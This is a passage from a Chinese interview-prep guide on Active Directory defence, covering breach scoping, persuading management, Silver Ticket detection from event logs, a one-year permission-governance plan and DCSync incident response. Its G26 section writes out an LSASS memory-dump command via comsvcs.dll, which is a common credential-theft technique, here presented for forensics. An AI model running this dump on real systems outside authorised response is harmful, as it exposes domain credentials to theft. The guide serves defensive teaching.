但更重要的是预防。最有效的是日志集中化;其次是把’管理审核和安全日志’这个特权从普通域管手里收走,只给日志管理专用账号——这样即使域管被攻陷,攻击者也清不了日志;再有就是部署 Sysmon,它提供独立的日志通道。另外日志容量要调大并配置成’存档而不是覆盖’,容量太小会导致日志快速滚动覆盖,等于变相丢失。“


G21|怎么评估一次内网事件的失陷范围?(难度 ★★★★☆)

★ 核心难点:你永远无法 100% 确定范围

这是道“诚实题”。面试官想听的是你的方法论和对不确定性的认识,不是一个拍胸脯的答案。

五步评估法

第一步:确定"事件起点"(Patient Zero)
  目标:找到最初是怎么进来的
  查什么:
    - 外网入口日志(VPN、邮件网关、Web 应用、堡垒机)
    - 最初的异常登录(4624 类型 10/3,来源 IP 异常)
    - 邮件:钓鱼邮件的收件人、附件打开记录
    - Web:Webshell 创建时间、Web 访问日志里的攻击 payload
    - ★ 恶意文件的最早创建时间(MFT / Prefetch / Amcache)
  输出:时间 T0、入口点、初始账号

第二步:确定"攻击者拿到过哪些凭据"
  ★ 这一步最关键 —— 凭据决定了攻击者的可达范围
  查什么:
    - 域控上【所有】涉及可疑账号的 4624(登录成功)
      → 攻击者用这个凭据去过哪些机器
    - 4768 / 4769:请求过哪些服务的票据
    - 4662:有没有 DCSync(★ 有 = 所有账号密码都泄露了)
    - LSASS 访问记录(Sysmon 10):哪台机器上的 LSASS 被访问过
    - ★ 有没有抓到域管凭据?有没有抓到 krbtgt?(决定是否是灾难级)
  输出:失陷凭据清单 + 每个凭据的权限范围

第三步:确定"攻击者做了什么"(横向 + 持久化)
  查什么:
    - 横向:4624 Type 3 的源 IP 图谱(★ 画访问关系图)
    - 持久化:4720/4728/4698/7045/5136/4765/4741
    - 后门:AdminSDHolder、GPO、WMI 订阅、SID History
    - 工具执行:4688 命令行、PowerShell 4104、Amcache、Prefetch
    - ★ 时间线(Timeline):把所有事件按时间排序
  输出:完整的攻击时间线

第四步:确定"数据有没有被拿走"
  ★ 这一步决定事件的严重等级(是入侵还是数据泄露)
  查什么:
    - 出站流量异常(大流量、非工作时间、异常目的地)
    - DNS 查询异常(DDoS 不了的,但能查 C2 域名)
    - 文件访问审计(4663):访问过哪些敏感文件
    - 压缩/打包行为(大量文件被打包)
    - 云盘/网盘/邮件外发记录
    - USB 使用记录
  输出:数据泄露评估(是/否/不确定)

第五步:确定"现在还有没有活动后门"
  查什么:
    - 上面第三步找到的持久化,逐条确认已清除
    - ★ C2 通道:还有没有机器在连已知 C2?
    - ★ 重新审计一遍 AdminSDHolder / GPO / 域根 ACL / SID History
    - 重置相关凭据后,观察 2 周有没有新的异常登录
  输出:残余风险清单

★ 用“凭据可达图”推算范围(核心方法)

原理:攻击者能去的地方 = 他拿到的凭据能去的地方

  zhangsan(普通域用户)
    ↓ 本机提权,抓到本机两个账号
  ├── svc_sql(服务账号,是 20 台机器的本地管理员)
  └── admin_ws01(域管,登录过 ws01)★
        ↓
      Domain Admins
        ↓
      全部域内机器 + krbtgt(黄金票据)

★ 所以评估范围的关键是回答:
  "攻击者抓到的【最高权限的那个凭据】是什么?"
    - 只是普通域用户        → 影响面小
    - 某台机器的本地管理员   → 影响这台 + 能用它 Hash 的地方
    - 域管                 → ★ 影响整个域
    - krbtgt / 有 DCSync   → ★★★ 灾难级,必须重置所有密码

★ 诚实面对不确定性:这些地方你查不到

盲区 说明 怎么补
日志不全 没开审计、日志被清、日志已滚动覆盖 只能从其他痕迹(Amcache/Prefetch/网络日志)推断
日志保留期太短 攻击发生在 6 个月前,日志只留 90 天 ★ 这是最无奈的情况,只能按“最坏情况”处理
加密流量 不知道攻击者用 C2 做了什么 从主机侧行为(进程、文件)反推
无 EDR 的机器 没装 Agent 的机器上发生了什么不知道 按“可能已失陷”处理
攻击者用了 0day 没有特征,检测不到 无法解决,只能靠异常行为
被篡改的日志 攻击者伪造/删除了部分记录 交叉验证多个来源

⚠️ 必须跟业务方说清楚的话:“基于现有日志,我们能确认的范围是 X;但由于日志只保留 90 天 / 有 30 台机器没装 EDR / 部分日志被清空,我们不能排除更大范围失陷的可能。如果要按最坏情况处理,建议重置所有密码并重建关键系统。”

面试话术

“评估失陷范围我分五步,但首先要说清楚一个前提:你永远无法 100% 确定范围,只能基于现有证据做推断,并且要把不确定性明确告诉业务方。

第一步找事件起点,从外网入口日志、异常登录、恶意文件的最早创建时间等,确定时间 T0、入口点和初始账号。

第二步确定攻击者拿到过哪些凭据——这是最关键的一步,因为凭据决定攻击者的可达范围。具体查域控上所有涉及可疑账号的 4624、4768/4769,有没有 4662 的 DCSync,以及 Sysmon 10 记录的 LSASS 访问。核心是要回答’攻击者抓到的最高权限的那个凭据是什么’:如果只是普通域用户,影响面很小;如果是域管,影响整个域;如果拿到了 krbtgt 或者做过 DCSync,那就是灾难级,必须重置所有密码。

第三步确定攻击者做了什么,把横向登录、持久化、后门、工具执行按时间排成完整时间线。

第四步确定数据有没有被拿走,这一步决定事件的严重等级——是单纯的入侵还是数据泄露。查出站流量异常、DNS 查询、文件访问审计、打包行为、网盘和邮件外发记录。

第五步确定现在还有没有活动后门,重新审计一遍 AdminSDHolder、GPO、域根 ACL、SID History,重置凭据后还要观察两周。

最后必须诚实面对盲区:日志不全、保留期太短、没装 EDR 的机器、加密流量、0day,这些情况下我只能按’最坏情况’处理,并且明确告诉业务方’我们能确认的是 X,但不能排除更大范围’。“


G22|如何说服管理层投入资源做内网安全?(难度 ★★★☆)

这是道“沟通能力”题。技术人常犯的错:讲技术细节,不讲风险和钱。

★ 三个核心技巧

技巧一:讲风险,不讲漏洞(Risk, not Vuln)
  错误:"我们有 200 台机器的本地管理员密码相同"
  正确:"攻击者只要拿下任意一台办公机,【几小时内】就能控制全部 200 台服务器,
        包括存放客户数据的数据库。"

技巧二:讲钱,不讲技术(Money, not Tech)
  错误:"NTLM 协议存在设计缺陷,需要部署 LAPS"
  正确:"这次修复需要 2 人月,约 XX 万。
        对比一次数据泄露的平均成本 XX 万(可以引用行业报告),
        以及可能的监管罚款(《数据安全法》最高 XX 万 / 上一年度营业额 5%)。"

技巧三:给方案,不只给问题(Solution, not Problem)
  错误:"我们内网安全很差"
  正确:"我列了五个问题,对应五条措施,按投入产出比排序如下,
        建议这个季度先做前两条,成本是 XX,能降低约 XX% 的风险。"

★ 三段式说服模板(可直接用)

【第一段:现状 —— 用对方的业务语言描述风险】
  "我们做了一次内网安全评估,发现一个问题:
   攻击者只要攻陷【任何一台】办公电脑(比如有人点了一封钓鱼邮件),
   就能在【4 小时内】拿到整个域的管理员权限,
   进而访问【所有】客户数据和财务系统。
   从点到面,不需要任何高难度技术,用的都是公开的免费工具。"

【第二段:证据 —— 让对方看见,而不是听说】
  "这不是理论推演,是我们实际走通的路径。"
   → 放一张 BloodHound 的路径图(可视化,非常有冲击力)
   → 放一张时间线:"第 1 小时拿到办公机,第 2 小时拿到文件服务器,
                    第 4 小时拿到域控"
   → 放一个数字:"从普通员工账号到域管,只需要【3 跳】"

【第三段:方案 + 成本 + 优先级】
  "我建议分三个阶段:
     第一阶段(1 个月,2 人月):分层管理 + LAPS
        → 能挡住 80% 的横向移动路径
     第二阶段(3 个月):出站白名单 + 日志集中化
        → 就算被攻陷,也出不去、能发现
     第三阶段(6 个月):微隔离 + 常态化演练
        → 把影响面限制在单个业务单元内

   如果只能做一件事,我建议做第一阶段的分层管理,
   成本是 XX,效果是让攻击者从办公机【拿不到】域管凭据。"

★ 应对“我们去年刚买了 XX 设备,为什么还要投入?”

这是最常见的问题。回答思路:

  "XX 设备解决的是【外网入口】的问题(防钓鱼、防 Web 攻击),
   它做得很好,我完全认可。

   但内网的逻辑不一样:
   1. 边界防不住【所有】入口——一个员工在家用个人电脑登 VPN、
      一次供应链攻击、一个外包人员的笔记本,都能绕过边界
   2. 更关键的是:内网安全的假设是【已经被攻陷】
      内网安全措施防的是'攻击者进来之后能走多远'

   打个比方:防火墙是小区大门的保安,内网安全是每家每户的门锁。
   保安再好,也防不住有人冒充访客进来,
   所以每家每户还是得装门锁。

   而且从数据看,XX% 的重大安全事件里,攻击者进入内网后
   平均要 XX 天才被发现——这段时间他想去哪就去哪。"

★ 应对“这会影响业务,业务部门不会同意”

回答思路:先共情,再给"不影响业务"的落地路径

  "这个担心完全合理,分层管理和网络分段确实会影响运维习惯。
   所以我们的落地方式是:

   1. 先监控后阻断:新策略先配成只记录不阻断,跑两周看有没有误伤
   2. 先易后难:先做不影响业务的分层管理(改的是账号使用规范),
      网络分段放到最后
   3. 给替代方案:不给域管权限,就给堡垒机 + 按需提权的流程,
      让运维能干活,只是方式变了
   4. 小步试点:先在一个业务单元试点,稳定了再推广

   另外要说明:不做这些的风险是【业务全面中断】。
   勒索软件进内网之后横向扩散,停的是【全部】业务,
   比做加固的影响大得多。"

★ 能量化的指标(汇报时用)

指标 说明 健康值
到域管的最短路径条数 BloodHound 统计 ★ 健康环境 2~3 条
域用户对机器的本地管理员数量 “Domain Users is Local Admin” 的机器数 ★ 0
Kerberoastable 账号数 有 SPN 且密码可被爆破的 0 或全是 gMSA
AS-REP Roastable 账号数 不需要预认证的 ★ 0
非约束委派的机器数 0
日志覆盖率 装了 EDR/日志采集的机器占比 ★ > 95%
MTTD(平均检测时间) 从失陷到发现 行业均值数天到数月
分层管理合规率 域管账号在非 Tier 0 机器上的登录次数 ★ 0

汇报心法:每次汇报都用这几个数字的变化趋势,比讲技术细节有用一百倍。“上季度到域管的最短路径是 47 条,这季度降到 12 条”——这句话管理层一听就懂。

面试话术

“说服管理层,关键是把技术语言翻译成风险和钱。我总结三个技巧。

第一,讲风险不讲漏洞。不要说’我们有 200 台机器本地管理员密码相同’,要说’攻击者只要拿下任意一台办公机,几小时内就能控制全部 200 台服务器,包括存放客户数据的数据库’。

第二,讲钱不讲技术。给方案时同时给成本,并且对比一次数据泄露的平均成本和可能的监管罚款,管理层对数字敏感。

第三,给方案不只给问题。列问题时一定同时列出按投入产出比排序的措施,明确说’如果只能做一件事,我做哪一件’。

汇报时我一般用三段式:第一段用业务语言描述风险,第二段给证据——放一张 BloodHound 的路径图特别有冲击力,再放一条’第 1 小时拿办公机、第 4 小时拿域控’的时间线;第三段给分阶段的方案和成本。

常见的挑战有两个。一个是’我们去年刚买了防火墙,为什么还要投入’——我的回答是防火墙解决的是外网入口,而内网安全的假设是’已经被攻陷’,防的是攻击者进来之后能走多远,这两个是互补的。打个比方:防火墙是小区大门的保安,内网安全是每家每户的门锁。

另一个是’业务不会同意’——我会先共情,然后给不影响业务的落地路径:先监控后阻断、先易后难、给堡垒机替代方案、小步试点。同时要提醒:不做的风险是业务全面中断,勒索软件进内网横向扩散,停的是全部业务。

最后,汇报时我尽量用可量化的指标的变化趋势,比如’到域管的最短路径从 47 条降到 12 条’,比讲技术细节有用得多。“

7.10.3 场景题(G23 ~ G27)


G23|场景:客户说“我们有防火墙,内网不可能被横向”,你怎么回应?(难度 ★★★★)

★ 回答思路:不要否定对方,用“假设被突破”的框架重构对话

第一步先认可防火墙的价值(否则对方会防御性抵触),然后把讨论从“能不能进来”转向“进来之后会怎样”。

完整回应(可直接口述)

【第一句:认可 + 重构问题】

  "防火墙确实解决了最重要的问题——把绝大多数攻击挡在外面。
   我想换一个角度聊:我们做内网评估,不是假设防火墙没用,
   而是假设【有一天会被突破】。

   这不是悲观,是行业共识。原因很简单:
   入口不止一个,而且很多不在防火墙的保护范围内。"

【第二句:列举"防火墙防不住的入口"】(★ 用具体的场景,不要抽象)

  "我举几个真实的入口,都不是理论:

   ① 钓鱼邮件:防火墙能拦恶意附件,但拦不住一个做得很好的
      伪装成 HR 通知的钓鱼页面,员工输入了账号密码。

   ② VPN:员工在家用【自己的电脑】登 VPN。
      那台电脑有没有中木马,防火墙管不着。
      ★ 而且 VPN 进来之后,这台机器就在内网里了。

   ③ 供应链:第三方运维的电脑、外包人员的笔记本、
      一个被投毒的软件更新。

   ④ 物理:一个 U 盘、一个来拜访的人插上网线。

   ⑤ 已经进来了但还没被发现:
      ★ 这是最麻烦的——攻击者可能已经在你内网待了三个月。

   所以严谨的说法不是'内网会不会被突破',
   而是'突破之后,他能走多远、多久被发现'。"

【第三句:给证据 —— 用演示代替争论】

  "与其争论,不如我做一次评估。给我一个普通员工的账号
   和一台普通的办公机,我走一遍,看多久能拿到域管权限。

   ★ 上次我们给 XX 客户做,从一台办公机到域控,用了 4 小时,
     中间没有用任何 0day,全是公开工具。"

  → 这一步是关键:**红队评估(假设 breach 演练)比任何PPT都有说服力**

【第四句:给出"防火墙之后"的答案】

  "内网安全解决的是防火墙之后的四件事:

   ① 让攻击者【拿不到】高权限凭据     → 分层管理、Protected Users
   ② 让他【走不远】                   → LAPS 消除共用密码、微隔离
   ③ 让他【出不去】                   → 出站白名单、断 C2
   ④ 让他【藏不住】                   → 日志集中化、蜜标

   防火墙是第一道门,这四件事是门后面的锁。"

【第五句:给一个低成本的验证方式】

  "如果您还在犹豫,我建议先做一件事,成本很低:
   跑一次 BloodHound,看从普通域用户到域管的最短路径有几条。

   健康的域应该是 2~3 条,都是明确的运维路径。
   ★ 如果跑出来是几十条,说明攻击者随便找条路就能到域控,
     而这跟防火墙一点关系都没有。"

★ 常见反驳与应对

客户说 怎么答
“我们有 EDR,能拦住” “EDR 很重要,但它有两个局限:一是覆盖率,贵司现在覆盖率是多少?没装的那部分机器就是盲区;二是 EDR 主要是检测,告警需要有人看、有人响应。内网里 EDR 拦不住一个拿着合法凭据做合法登录的行为——攻击者用域管账号正常登录,在 EDR 看来跟运维没什么区别。”
“我们有 MFA” “MFA 对 VPN 和云服务非常有效,这一点我完全认可。但内网里的 Kerberos 和 NTLM 认证不走 MFA——PTH 用的是 Hash,压根不经过 MFA 那一环。要覆盖内网,得部署 Windows Hello for Business 或者证书认证。”
“我们做过等保/合规了” “合规是底线要求,过关说明达到了及格线。但合规检查项里’内网横向移动防护’通常不是重点。我可以拿贵司的等保报告对照一下,看这几项有没有覆盖。”
“预算有限” “那我们只做一件事:分层管理——规定域管账号不能登录办公机,运维统一走堡垒机。这个几乎不需要采购,改的是管理规范,但能切断 80% 的攻击路径。”

面试话术(精简版,2 分钟内)

“我不会直接否定对方的防火墙,而是把问题重构:我们不是假设防火墙没用,而是假设总有一天会被突破——因为入口不止一个,钓鱼邮件、员工自己的电脑登 VPN、外包笔记本、供应链、还有可能已经进来但没被发现的。

最有说服力的不是争论,是做一次红队评估:给我一个普通员工账号和一台办公机,我走一遍看多久能拿到域管。我通常会说’上次给客户做,4 小时到域控,全程没用任何 0day’。

然后给答案:内网安全解决的是防火墙之后的四件事——让他拿不到高权限凭据、走不远、出不去、藏不住。防火墙是第一道门,这四件事是门后面的锁。

如果对方还在犹豫,我会给一个成本极低的验证方式:跑一次 BloodHound,看从普通域用户到域管的最短路径有几条。健康的域是两三条,如果跑出来几十条,说明攻击者随便找条路就能到域控——而这跟防火墙一点关系都没有。“


G24|场景:目标机器上有 4624 登录成功,但域控上没有对应的 4769 票据请求,说明什么?(难度 ★★★★☆)

★ 结论先行:这是白银票据(Silver Ticket)的经典特征。

为什么(原理分析)

正常的 Kerberos 登录流程,域控上会留下两条日志:
  ① Event 4768:客户端向 AS 请求 TGT
  ② Event 4769:客户端向 TGS 请求服务票据(★ 每次访问新服务都产生)
  然后目标机器上才有:
  ③ Event 4624:登录成功

白银票据跳过了①②:
  攻击者【自己伪造了服务票据】,直接拿去访问服务
  → 域控【完全没有参与】→ 没有 4768、没有 4769
  → 但目标机器上会有 4624(服务验票通过了)

★ 所以"有登录、没票据" = 有人拿着假票直接来了

★ 但是——不能只看这一个特征就下结论。要排除这些正常情况:

可能的正常原因 怎么排除
使用了 NTLM 认证 NTLM 不产生 4768/4769,产生的是 Event 4776(域控侧 NTLM 认证)。
★ 查 4776 有没有对应记录。有 → 是正常的 NTLM;没有 → 可疑
票据缓存 客户端会缓存 TGS(默认最长 10 小时)。如果用户 10 分钟内访问过同一服务,不会重新请求 4769。
★ 查这台机器/这个账号最近 10 小时有没有过 4769
本地账号登录 本地账号(非域账号)不走 Kerberos,不会产生 4769。
★ 看 4624 里的 Account Name 和 Logon Type,本地登录(Type 2)很常见
计算机账号认证 机器账号的认证也可能有不同的日志模式
域控日志丢失 / 采集不全 ★ 这是最容易被忽略的——先确认域控的日志采集是正常的、没有丢
查一下同一时间窗口域控上 4769 的总量,如果整体偏低就是采集问题
跨林 / 信任关系 跨林访问时票据请求会发生在另一个林,本地域控看不到

★ 完整的排查步骤(六步)

第一步:确认 4624 的详细信息
  - Account Name:是域账号还是本地账号?
  - Logon Type:3(网络)、10(RDP)、2(本地)?
  - ★ 如果是 Type 2(本地交互式),大概率是正常的本地登录

第二步:确认日志采集正常(★ 先排这个,否则后面白干)
  - 查同一时间窗口域控上 4769 的总条数,跟历史基线对比
  - 如果整体缺失 → 是采集问题,不是攻击

第三步:查 4776(NTLM 认证)
  有对应记录 → 是 NTLM 认证,正常(但要关注为什么用 NTLM)
  没有 → 继续

第四步:扩大时间窗口查 4769
  - 往前查 10 小时(TGS 缓存有效期)
  - 用同样的 Account Name + ServiceName 查
  找到 → 是票据缓存,正常

第五步:如果还没找到 → 高度怀疑白银票据
  继续取证:
  - 看 4624 里的 Account Name 是不是特权账号(域管、服务账号)
  - 看目标机器是什么(域控?文件服务器?数据库?)
  - ★ 看登录时的 Kerberos 加密类型(4624 里有字段)
    异常值或者明显不符 → 基本坐实
  - 查这台机器上的文件、进程、网络行为

第六步:响应
  - 立即重置【对应的服务账号/机器账号】密码(★ 白银票据用的是它)
  - 排查这台机器上的其他持久化
  - 扩大排查:同服务账号的其他机器有没有类似情况

★ 举一反三:其他“日志对不上”的检测场景

现象 说明
有 4624,无 4769,无 4776 ★ 白银票据
有 4769,加密类型 RC4(0x17) Kerberoasting
有 4624 Type 9 + 4648 PTH(runas /netonly)
有 4662 复制权限操作,来源不是域控 DCSync
有 4741/4742/4743,来源不是域控 DCShadow(伪装域控)
有 4765 SID History 被添加
5136 修改 AdminSDHolder 的 DACL AdminSDHolder 后门
有 4624,但账号已被禁用 ★ 票据伪造(黄金/白银)
有 4624,账号的密码刚改过 可能用的是旧票据

面试话术

“这个现象最可能的是白银票据。原理是:正常 Kerberos 登录,域控上会有 4768(请求 TGT)和 4769(请求服务票据),目标机器上才有 4624。而白银票据是攻击者自己伪造的服务票据,直接拿去访问服务,域控完全没参与,所以域控上一条日志都没有——’有登录、没票据’就是它的经典特征。

但我不会只看这一个特征就下结论,要先排除几种正常情况。

第一,是不是用了 NTLM。NTLM 不产生 4769,但会产生 4776,我查 4776 就能确认。

第二,是不是票据缓存。客户端会缓存 TGS 最长 10 小时,如果近期访问过同一服务就不会重新请求。我把时间窗口往前扩 10 小时再查。

第三,是不是本地账号登录。本地账号不走 Kerberos,看 4624 的账号名和 Logon Type 就能判断。

第四,也是最容易被忽略的——先确认域控的日志采集本身是正常的。我查同一时间窗口域控上 4769 的总量跟历史基线对比,如果整体偏低,那根本不是攻击,是采集出了问题。这一步不先做,后面全是白干。

排除完这些之后如果还是对不上,就高度怀疑白银票据。这时候继续看 4624 里的账号是不是特权账号、加密类型有没有异常,然后立即重置对应的服务账号或机器账号密码——因为白银票据用的就是它的 Hash。“


G25|场景:5000 人的公司,域环境 10 年没做过权限治理,给你一年时间怎么规划?(难度 ★★★★★)

★ 核心判断:不要试图“一次性清理干净”

10 年的权限债,一次性清理必然出事故。分阶段、先易后难、每阶段有可量化的成果。

四阶段规划(12 个月)

═══ 第一阶段(第 1~2 月):看见(Visibility)═══
目标:搞清楚现状,不改动任何东西

  【工作项】
  ① 部署日志集中化(WEF / Agent → SIEM)
     - 优先级:域控 → 关键服务器 → 终端
     - ★ 这一步是所有后续工作的基础,必须先做
     - 保留期 ≥ 180 天(★ 很多公司默认 90 天,太短)
  ② 部署 EDR / Sysmon(覆盖率目标 > 90%)
  ③ 跑 BloodHound,输出基线报告:
     - 到域管的最短路径条数
     - Domain Users is Local Admin 的机器数
     - Kerberoastable / AS-REP Roastable 账号数
     - 非约束委派机器数
     - 有 DCSync 权限但不在域管组的账号
  ④ 审计关键配置:
     - 域根 ACL、AdminSDHolder、GPO 列表与 ACL
     - SID History、委派配置
     - 高权限组成员清单(★ 一定会发现一堆不该在的人)
  ⑤ 制定三个规范(先出文档,后面才能推):
     - 《特权账号管理规范》
     - 《分层管理(Tier)规范》
     - 《运维访问规范》(堡垒机)

  【交付物】现状评估报告 + 基线指标 + 三个规范草案
  【风险控制】★ 这一阶段【零变更】,只有只读操作

═══ 第二阶段(第 3~5 月):堵最大的洞(Quick Wins)═══
目标:用最小代价砍掉最大的攻击面,让指标明显下降

  【工作项】按投入产出比排序:
  ① ★ 清理高权限组的成员(第 1 优先级)
     - Domain Admins / Enterprise Admins / Schema Admins / Administrators
     - ★ 10 年的环境,这里通常有 20~50 个人,实际需要的可能只有 5 个
     - 逐个跟业务确认,不清的要有理由和审批
     - ★ 这一步风险低、收益极大,是典型的 quick win

  ② ★ 取消 DONT_REQ_PREAUTH(AS-REP Roastable)
     - 数量通常不多(几个到几十个)
     - 影响面小,直接改

  ③ ★ Kerberoastable 账号治理
     - 有 SPN 的服务账号,改成 gMSA 或 25 位以上随机密码
     - ★ 按"权限从高到低"排:先改域管组的,再改普通的
     - ⚠️ 需要跟业务协调变更窗口

  ④ ★ 清理过度 ACL(BloodHound 里 GenericAll / GenericWrite /
     ForceChangePassword 的边)
     - 从"影响面最大"的开始

  ⑤ 禁用不用的账号(★ 一定有一堆离职员工的账号还开着)
     - 90 天未登录的账号先禁用(不要直接删)
     - 观察 30 天没人来找,再归档

  【交付物】指标下降报告
  【目标】到域管的最短路径 ↓ 50%

═══ 第三阶段(第 6~9 月):改变使用方式(Process Change)═══
目标:从"清理存量"转向"控制增量",这一步最难因为要改人的习惯

  【工作项】
  ① ★ 部署堡垒机,所有运维必须走堡垒机
     - 先并行运行 1 个月(旧方式和堡垒机都能用)
     - 再切到强制
     - ★ 关键:堡垒机要好用到运维愿意用,否则会被绕过

  ② ★ 推行分层管理(Tier 模型)
     - 域管账号从办公机"退出来"
     - 给运维配【两套账号】:日常账号 + 特权账号(★ 这个必须有,
       否则运维没法干活,一定会抵触)
     - 特权账号只能登录 Tier 0 资产
     - ★ 推行顺序:先 IT 部门自己 → 再推广到其他部门

  ③ ★ 部署 LAPS
     - 先试点一个 OU(比如一个新业务单元),稳定后全推
     - ★ 试点很重要,能暴露兼容性问题

  ④ 特权账号加入 Protected Users 组
     - ⚠️ 先小范围试点,这个组会禁用 NTLM 和 RC4,
       可能影响一些老应用

  ⑤ 建立"权限申请/审批/回收"流程
     - ★ 这一步是"控制增量",没有它前面全白做
     - 关键:权限要有【有效期】,到期自动回收

  【交付物】分层管理落地、堡垒机全面启用、流程上线
  【目标】域管账号在非 Tier 0 机器上的登录次数 = 0

═══ 第四阶段(第 10~12 月):纵深防御 + 常态化(Continuous)═══
目标:假设被攻陷也能发现和限制

  【工作项】
  ① ★ 出站白名单 + 强制代理
     - 分网段推进,先办公网后服务器网
     - ★ 先监控模式跑 1 个月,再切阻断
  ② ★ 部署蜜标(AD 蜜标账号 + 蜜标文件 + 蜜标 SPN)
  ③ 网络分段(微隔离)
     - 先做一个业务单元试点
     - ★ 这一步最容易出事故,一定要试点
  ④ 建立常态化机制:
     - 每月跑 BloodHound,跟踪指标
     - 每季度审计高权限组、委派、SPN、SID History
     - 每半年做一次红队评估
     - ★ 每年一次"域被攻陷"的应急演练(★ 非常有价值)
  ⑤ 完善应急响应预案和工具箱

  【交付物】常态化机制运行、年度红队报告
  【目标】MTTD(平均检测时间)从"数月"降到"数天"

★ 三个必须提前说清楚的风险

风险一:业务中断(★ 最大的风险)
  场景:一刀切禁掉某个权限,某个跑了 8 年的老应用挂了,
        而且没人知道它为什么需要这个权限
  缓解:
    - 所有变更先【监控模式】跑 2~4 周
    - 每个变更都要有【回滚方案】和【变更窗口】
    - ★ 建立"临时豁免"机制:业务实在改不了,走豁免审批,
      但要有明确的期限和补偿措施
  关键话术:"我们要的不是'零风险',是'风险可见、可控'"

风险二:业务部门抵触
  场景:运维说"不给我域管权限我没法干活"
  缓解:
    - 先给替代方案(堡垒机 + 按需提权),再收权限
      ★ 顺序反了一定失败
    - 找一两个愿意配合的业务单元做样板
    - 用指标汇报进展,让管理层看到成果

风险三:清理不彻底 / 有遗漏
  缓解:
    - ★ 承认这一点,别承诺"清理干净"
    - 用蜜标和持续监控兜底
    - 保留"最坏情况预案":如果某天真的被攻陷,有 krbtgt 重置流程

★ 汇报用的指标看板(每季度更新)

指标 起点(第 0 月) 第 2 月 第 5 月 第 9 月 第 12 月(目标)
到域管最短路径条数 137 137 58 12 ≤ 5
高权限组成员数 43 43 9 7 ≤ 6
Domain Users is Local Admin 机器数 412 412 412 60 0
Kerberoastable 账号数 38 38 6 2 0(全 gMSA)
AS-REP Roastable 账号数 11 11 0 0 0
非约束委派机器数 7 7 3 0 0
LAPS 覆盖率 0% 0% 0% 45% ≥ 95%
EDR / 日志覆盖率 60% 85% 95% 98% ≥ 98%
堡垒机运维合规率 0% 0% 30% 95% 100%
域管在非 Tier0 机器登录次数/月 890 890 400 15 0

面试话术(3 分钟版本)

“5000 人、10 年没治理的域,我一定不会试图一次性清理干净——那必然出事故。我分四个阶段。

第一阶段两个月,只做’看见’不做改动:部署日志集中化和 EDR,跑 BloodHound 出基线,审计域根 ACL、AdminSDHolder、GPO、SID History、委派,同时出三个规范草案。这一阶段零变更,全是只读。

第二阶段三个月,堵最大的洞,按投入产出比排序:第一优先是清理高权限组成员——10 年的环境里 Domain Admins 通常有二三十个人,实际需要的可能只有五六个,逐个跟业务确认,风险低收益极大。然后是取消 AS-REP Roastable、治理 Kerberoastable 账号(改 gMSA 或加长密码)、清理过度 ACL、禁用长期不登录的账号。目标是最短路径下降 50%。

第三阶段四个月,改变使用方式,这一步最难因为要改人的习惯:部署堡垒机(先并行跑一个月再强制)、推行分层管理(★ 关键是给运维配两套账号,日常账号加特权账号,否则他们没法干活一定会抵触)、部署 LAPS(先试点一个 OU)、特权账号加 Protected Users。同时建立权限申请审批回收流程——这一步是控制增量,没有它前面全白做。

第四阶段三个月,纵深防御加常态化:出站白名单加强制代理(先监控模式跑一个月)、部署蜜标、网络分段试点,然后建立月度 BloodHound、季度审计、半年红队评估、年度应急演练的机制。

三个风险必须提前讲清楚:一是业务中断,所有变更先监控模式跑两到四周、必须有回滚方案和变更窗口、建立临时豁免机制;二是业务抵触,顺序必须是先给替代方案再收权限,反了一定失败;三是清理必然有遗漏,我要承认这一点,用蜜标和持续监控兜底,而不是承诺清理干净。“


G26|场景:应急响应第一小时,你在域控上发现了 DCSync 的痕迹,接下来 24 小时做什么?(难度 ★★★★★)

★ 第一原则:DCSync = 所有账号密码 Hash 都已泄露 = 灾难级事件

发现 DCSync 的第一反应必须是:按“全部域账号凭据已泄露”处理,而不是“先查查看再说”。

★ 24 小时时间线(分六个阶段)

═══ 第 0~1 小时:确认 + 止血 ═══

【0~15 分钟】确认事件真实性(★ 先排除误报)
  - 看 Event 4662 的完整记录:
    ObjectType 是不是三个复制 GUID 之一
    SubjectUserName 是什么账号
    ★ Client_Address(源 IP)是不是域控的 IP
  - 交叉验证:
    同一 IP 有没有其他异常(4624、4769、5136)
    这个 IP 是办公机?服务器?还是真的域控?
  - ★ 同时开始保存证据:
    - 不要关机器、不要重启(内存证据)
    - 先导出相关日志到本地文件
    - 记录当前时间(后面所有时间线都要用它对齐)

【15~30 分钟】初步定性 + 上报
  - 定性:确认是 DCSync → 判定为【灾难级】
  - 上报:通知安全负责人、IT 负责人、管理层
    ★ 用一句话说清严重性:
      "域内所有账号的密码哈希可能已经泄露,
       攻击者可以冒充任何人,包括域管。"
  - 拉起应急小组(安全 + 运维 + 业务 + 法务/合规)

【30~60 分钟】紧急止血(★ 但不要做不可逆操作)
  - ① 重置【发起 DCSync 的那个账号】的密码并禁用
    ★ 这一步要先做,切断攻击者的已知入口
  - ② 检查并重置 krbtgt(★ 第一次重置,现在就做)
    ⚠️ 但这需要评估:重置会导致现有票据失效
    ★ 在灾难级事件里,这个代价是值得付的
  - ③ 封禁已知的 C2 IP / 域名(如果已经识别出来)
  - ④ ★ 不要做的事情:
    - 不要关域控(业务全停 + 丢内存证据)
    - 不要立即大规模改密码(会打草惊蛇,也让攻击者再抓一轮)
    - 不要删攻击者留下的文件(是证据)

═══ 第 1~4 小时:取证 + 摸清范围 ═══

  - ① 内存取证(★ 优先级最高,重启就没了)
    在涉及的可疑机器上 dump 内存:
      rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <LSASS_PID> lsass.dmp full
    ★ 重点 dump:发起 DCSync 的源机器、域控本身
  - ② 导出并保全日志:
    域控:Security、Directory Service、System
    关键机器:Security、Sysmon、PowerShell Operational
    ★ 全部导出到只读介质,做哈希
  - ③ 画攻击时间线:
    从 4662 往前后各扩 30 天,把所有相关事件按时间排序
    找起点:最初是怎么进来的?(4624 异常、钓鱼、Webshell)
  - ④ 确定攻击者拿到的凭据:
    ★ DCSync 意味着【全部】,但要确认:
      - krbtgt 的 Hash 有没有被单独导出(4769 ServiceName = krbtgt)
      - 有没有其他账号的 Hash 被拿(看 secretsdump 的行为特征)
  - ⑤ 找持久化:
    4720/4728/4732/4756(新账号、加组)
    5136(ACL 修改,★ 重点看 AdminSDHolder)
    4698/7045(计划任务、服务)
    WMI 订阅(Sysmon 19-21)
    4765(SID History)

═══ 第 4~8 小时:阻断 + 隔离 ═══

  - ① 隔离已确认失陷的机器
    ★ 用网络隔离而不是关机(保住内存和状态)
    ★ 但要断它的 C2 通道
  - ② 强制登出所有会话
    ★ 攻击者可能持有活动会话和票据
    - 重置密码后用 `Reset-ComputerMachinePassword` 重置机器账号
